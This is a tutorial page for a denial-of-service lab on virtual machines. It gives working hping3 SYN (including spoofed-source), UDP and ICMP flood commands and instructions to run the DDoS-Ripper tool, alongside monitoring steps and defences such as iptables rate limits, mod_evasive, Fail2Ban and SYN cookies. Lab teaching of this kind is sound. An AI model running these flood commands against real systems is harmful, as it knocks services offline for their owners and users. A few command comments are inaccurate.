> For the complete documentation index, see [llms.txt](https://mainekhacker-1.gitbook.io/mainekhacker/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mainekhacker-1.gitbook.io/mainekhacker/untitled/dos-practical-attack.md).

# DOS  Practical Attack

## DoS Attack Lab Setup - Educational & Defense Guide

### ⚠️ CRITICAL LEGAL DISCLAIMER

**ONLY perform these tests on systems you OWN or have WRITTEN PERMISSION to test. Unauthorized DDoS attacks are ILLEGAL and carry severe penalties including imprisonment.**

***

### Lab Environment Setup

#### Required Components

1. **Attacker Machine** (Kali Linux recommended)
2. **Target Server** (Ubuntu Server )
3. **Isolated Network** (VMware/VirtualBox virtual network)

#### Network Topology

```bash
[Attacker VM (Kali Linux ) ] ──→ [Target Server VM (Ubuntu Server)]
     |         
Taffic in Wireshark

```

***

### Part 1: Setting Up the Lab

#### Step 1: Create Isolated Virtual Network

**VMware/VirtualBox Configuration:**

```bash
Network Mode: Host-Only or Internal Network
DHCP: Disabled
Subnet: 192.168.100.0/24

Attacker: 192.168.100.10
Target: 192.168.100.50
```

#### Step 2: Setup Target Web Server

**On Ubuntu Target Server:**

```bash
# Install Apache web server
sudo apt update
sudo apt install apache2 -y

# Create simple test page
echo "<h1>DDoS Lab Test Server</h1>" | sudo tee /var/www/html/index.html

# Start Apache
sudo systemctl start apache2
sudo systemctl enable apache2
# Verify it's running
curl <http://localhost>
```

#### Step 3: Setup Monitoring Tools

**Install Wireshark for Traffic Analysis:**

bash

```bash
sudo apt install wireshark -y
```

**Install system monitoring:**

bash

```bash
# Install htop for resource monitoring
sudo apt install htop iftop -y

# Install netstat
sudo apt install net-tools -y
```

***

***

#### Tool 3: Hping3 (Command-Line SYN Flood)

**Installation:**

```bash
sudo apt install hping3 -y
```

**SYN Flood Attack:**

```bash
# Basic SYN flood
sudo hping3 -S -p 80 --flood 192.168.100.50
# 2. SYN Flood (Layer 4)
#Method: TCP SYN
#Description: Exploits TCP handshake
#Target: TCP services
# Impact: Exhausts connection state table
# Explanation:
# -S: SYN flag
# -p 80: Target port
# --flood: Send packets as fast as possible

# SYN flood with randomized source
sudo hping3 -S -p 80 --flood --rand-source 192.168.100.50

# --rand-source: Randomizes source IP (harder to block)

# Specific packet rate (more controlled)
sudo hping3 -S -p 80 -i u1000 192.168.100.50
# -i u1000: Send 1000 packets per second  TCP flags: S = SYN, A = ACK — this is a SYN+ACK packet.
```

Time to think like a defender :

to protect or to see all network traffic in target machine is run this commands or need to have knowledge of this tools

```bash
sudo tcpdump -i <nameinterface> eth0 src host attacker-ip (kali linux ip) -nn -q
#to know about this run tcpdump -h 
htop / iftop
# to know more abbout this tool run htop 
watch -h to know more about this tool run 
watch -n 1 "ip -s linkshow <interface name > eth0"
sudo dmesg -w #to get message of "kernal detected by NIC"
You can try to ping the target server to 
Check Yourself more to know....
```

Tool : htop:-

<figure><img src="/files/LS0JOajfh1qi531iv5hm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2rN1tlENYpe3z5gmwIVS" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/iKNwfXMhtpPkDx9XoLaK" alt=""><figcaption></figcaption></figure>

Analyzing DoS Attack Traffic in Wireshark\
Here's how to measure total traffic sent to your target VM:

1. Filter Traffic to the Target VM\
   In the Wireshark filter bar, enter the target VM's IP:\
   ip.dst == 192.168.x.x\
   Or to see both directions:\
   ip.addr == 192.168.x.x
2. Check Total Traffic Volume\
   Using the Statistics menu — easiest method:\
   Go to Statistics → Capture File Properties\
   This shows total packets and bytes for the whole capture\
   For traffic to your target specifically:\
   Apply your ip.dst == 192.168.x.x filter first\
   Go to Statistics → Display Filter Expressions — the status bar at the bottom will show packet count matching the filter
3. Get a Full Breakdown by IP\
   Go to Statistics → Endpoints\
   Click the IPv4 tab\
   Find your target VM's IP — you'll see:\
   Packets Tx/Rx\
   Bytes Tx/Rx

<figure><img src="/files/p7RpRMBOEcp7WiZxmvFz" alt=""><figcaption></figcaption></figure>

1. See Traffic Rate Over Time (Packets/Sec)\
   Apply your filter: ip.dst == 192.168.x.x\
   Go to Statistics → I/O Graph\
   This plots traffic volume over time so you can see the spike during the attack
2. Protocol Breakdown\
   To see what kind of traffic was flooding the target:\
   Statistics → Protocol Hierarchy — shows percentage breakdown (TCP/UDP/ICMP etc.)\
   For SYN floods specifically, filter: tcp.flags.syn == 1 && ip.dst == 192.168.x.x\
   For ICMP (ping) floods: icmp && ip.dst == 192.168.x.x

<figure><img src="/files/2URvKKErnyfngn9lwZu8" alt=""><figcaption></figcaption></figure>

Quick Summary\
Goal\
Where to look\
Total bytes to target\
Statistics → Endpoints → IPv4\
Packet count\
Status bar after applying filter\
Traffic over time\
Statistics → I/O Graph\
Protocol type\
Statistics → Protocol Hierarchy\
The Endpoints view is usually the fastest way to get the total bytes sent to your target VM in one glance.

UDP Flood:

```bash
sudo hping3 --udp -p 80 --flood 192.168.100.50
#3. UDP Flood (Layer 4)
#Method: UDP
#escription: Sends random UDP packets
#Target: Any UDP service
#Impact: Saturates bandwidth
```

<figure><img src="/files/nnUVTlHpNDZiLsN6qf0Q" alt=""><figcaption></figcaption></figure>

**ICMP Flood (Ping Flood):**

```bash
sudo hping3 -1 --flood 192.168.100.50
# -1: ICMP mode
```

***

#### Tool 4: DDoS-Ripper

```bash
git clone <https://github.com/palahsu/DDoS-Ripper.git>  #USE ON YOUR OWN RISK. Read all Docs before running any of this.
cd DDoS-Ripper 
python3 DRipper.py or python2 DRipper.py 
```

***

***

### Part 4: Observing System Behavior

#### What Happens During DDoS

**Stage 1 - Initial Load (0-30 seconds):**

```bash
# Monitor Apache logs
sudo tail -f /var/log/apache2/access.log

# You'll see:
# - Rapid increase in requests
# - CPU usage climbing
# - Memory consumption rising
```

**Stage 2 - Resource Exhaustion (30-120 seconds):**

```bash
Symptoms:
✗ Server response time increases dramatically
✗ Legitimate requests time out
✗ CPU reaches 90-100%
✗ Network bandwidth saturated
✗ Connection pool exhausted
```

**Stage 3 - Service Degradation/Failure:**

```bash
# Test from another machine
curl <http://192.168.100.50>
# Result: Connection timeout or refused

# Check server status
sudo systemctl status apache2
# May show: "Too many open files" or crashes
```

#### Data Collection Script

```bash
**Create dos_monitor.sh:**
```

```bash
#!/bin/bash

LOG_FILE="ddos_test_$(date +%Y%m%d_%H%M%S).log"

echo "DDoS Monitoring Started" > $LOG_FILE
echo "=======================" >> $LOG_FILE

while true; do
    TIMESTAMP=$(date '+%Y-%m-%d %H:%M:%S')
    CPU=$(top -bn1 | grep "Cpu(s)" | awk '{print $2}' | cut -d'%' -f1)
    MEM=$(free | grep Mem | awk '{printf("%.2f", $3/$2 * 100)}')
    CONNECTIONS=$(netstat -an | grep :80 | wc -l)
    BANDWIDTH=$(ifstat -i eth0 1 1 | tail -n 1 | awk '{print $1}')
    
    echo "$TIMESTAMP,CPU:$CPU%,MEM:$MEM%,CONN:$CONNECTIONS,BW:$BANDWIDTH KB/s" >> $LOG_FILE
    
    sleep 1
done
```

**Run the monitor:**

```bash
chmod +x ddos_monitor.sh
./ddos_monitor.sh &
```

***

### Part 5: Defense Mechanisms

#### 1. Rate Limiting with iptables

**Limit connections per IP:**

```bash
# Limit new connections to 10 per minute per IP
sudo iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
sudo iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROP

# Limit SYN packets
sudo iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT
sudo iptables -A INPUT -p tcp --syn -j DROP

# Save rules
sudo iptables-save > /etc/iptables/rules.v4
```

**Test effectiveness:**

```bash
# Run attack again
sudo hping3 -S -p 80 --flood 192.168.100.50

# Monitor drops
sudo iptables -L -v -n
# You'll see DROP counter increasing
```

#### 2. Configure Apache mod\_evasive

**Install and configure:**

```bash
# Install
sudo apt install libapache2-mod-evasive -y

# Configure
sudo nano /etc/apache2/mods-available/evasive.conf
```

**Add configuration:**

apache2

```bash
<IfModule mod_evasive20.c>
    DOSHashTableSize 3097
    DOSPageCount 5          # Max 5 requests to same page per interval
    DOSSiteCount 50         # Max 50 requests to site per interval
    DOSPageInterval 1       # 1 second interval
    DOSSiteInterval 1       # 1 second interval
    DOSBlockingPeriod 10    # Block for 10 seconds
    DOSEmailNotify admin@example.com
    DOSLogDir /var/log/mod_evasive
</IfModule>
```

**Enable and restart:**

```bash
sudo a2enmod evasive
sudo systemctl restart apache2
```

#### 3. Implement Fail2Ban

**Installation:**

```bash
sudo apt install fail2ban -y
```

**Configure for HTTP flood:**

```bash
sudo nano /etc/fail2ban/jail.local
```

**Add this configuration:**

ini

```bash
[http-get-dos]
enabled = true
port = http,https
filter = http-get-dos
logpath = /var/log/apache2/access.log
maxretry = 300
findtime = 60
bantime = 600
action = iptables[name=HTTP, port=http, protocol=tcp]
```

**Create filter:**

```bash
sudo nano /etc/fail2ban/filter.d/http-get-dos.conf
```

ini

```bash
[Definition]
failregex = ^<HOST> -.*"(GET|POST).*
ignoreregex =
```

**Restart Fail2Ban:**

```bash
sudo systemctl restart fail2ban

# Check banned IPs
sudo fail2ban-client status http-get-dos
```

#### 4. Use SYN Cookies (Kernel-level protection)

```bash
# Enable SYN cookies
sudo sysctl -w net.ipv4.tcp_syncookies=1

# Increase SYN backlog
sudo sysctl -w net.ipv4.tcp_max_syn_backlog=4096

# Reduce SYN-ACK retries
sudo sysctl -w net.ipv4.tcp_synack_retries=2

# Make permanent
echo "net.ipv4.tcp_syncookies=1" | sudo tee -a /etc/sysctl.conf
echo "net.ipv4.tcp_max_syn_backlog=4096" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
```

***

***

### Part 6: Advanced Analysis

#### Python Script for Traffic Analysis

python

```bash
#!/usr/bin/env python3
from scapy.all import *
import matplotlib.pyplot as plt
from collections import Counter
import datetime

packets = rdpcap('ddos_capture.pcap')

# Analyze source IPs
src_ips = [pkt[IP].src for pkt in packets if IP in pkt]
ip_counts = Counter(src_ips)

# Plot top attackers
top_10 = ip_counts.most_common(10)
ips, counts = zip(*top_10)

plt.figure(figsize=(12, 6))
plt.bar(ips, counts)
plt.xticks(rotation=45)
plt.xlabel('Source IP')
plt.ylabel('Packet Count')
plt.title('Top 10 Source IPs During DDoS Attack')
plt.tight_layout()
plt.savefig('ddos_analysis.png')

# Calculate packets per second
timestamps = [float(pkt.time) for pkt in packets]
start_time = min(timestamps)
buckets = Counter([int(t - start_time) for t in timestamps])

plt.figure(figsize=(12, 6))
plt.plot(buckets.keys(), buckets.values())
plt.xlabel('Time (seconds)')
plt.ylabel('Packets per Second')
plt.title('DDoS Attack Traffic Over Time')
plt.grid(True)
plt.savefig('ddos_timeline.png')

print(f"Total packets: {len(packets)}")
print(f"Unique source IPs: {len(ip_counts)}")
print(f"Peak packets/second: {max(buckets.values())}")
print(f"Attack duration: {max(buckets.keys())} seconds")
```

***

### Summary: How Professionals Protect Systems

#### Multi-Layer Defense Strategy

1. **Network Layer (Layer 3/4)**
   * Rate limiting with iptables/firewall
   * SYN cookies for SYN floods
   * Traffic scrubbing services
2. **Application Layer (Layer 7)**
   * mod\_evasive for Apache
   * Rate limiting in Nginx
   * ModSecurity WAF rules
3. **Detection & Response**
   * Fail2Ban for automated blocking
   * IDS/IPS (Snort, Suricata)
   * SIEM for log analysis
4. **Infrastructure**
   * Load balancers
   * CDN (Cloudflare, Akamai)
   * Auto-scaling
   * Geographic distribution
5. **Monitoring**
   * Real-time traffic analysis
   * Anomaly detection
   * Alert systems

#### Key Takeaways

✓ **DDoS attacks consume resources** - bandwidth, CPU, memory, connections\
✓ **No single solution is perfect** - defense requires multiple layers\
✓ **Detection is critical** - differentiate attack from legitimate traffic\
✓ **Preparation is key** - have defenses ready before attack occurs\
✓ **Testing is essential** - regularly test defenses in controlled environment

Remember: Always conduct these tests in **isolated lab environments** with **proper authorization**. Real-world DDoS attacks cause significant harm and are prosecuted criminally.

Thankyou For Reading:)
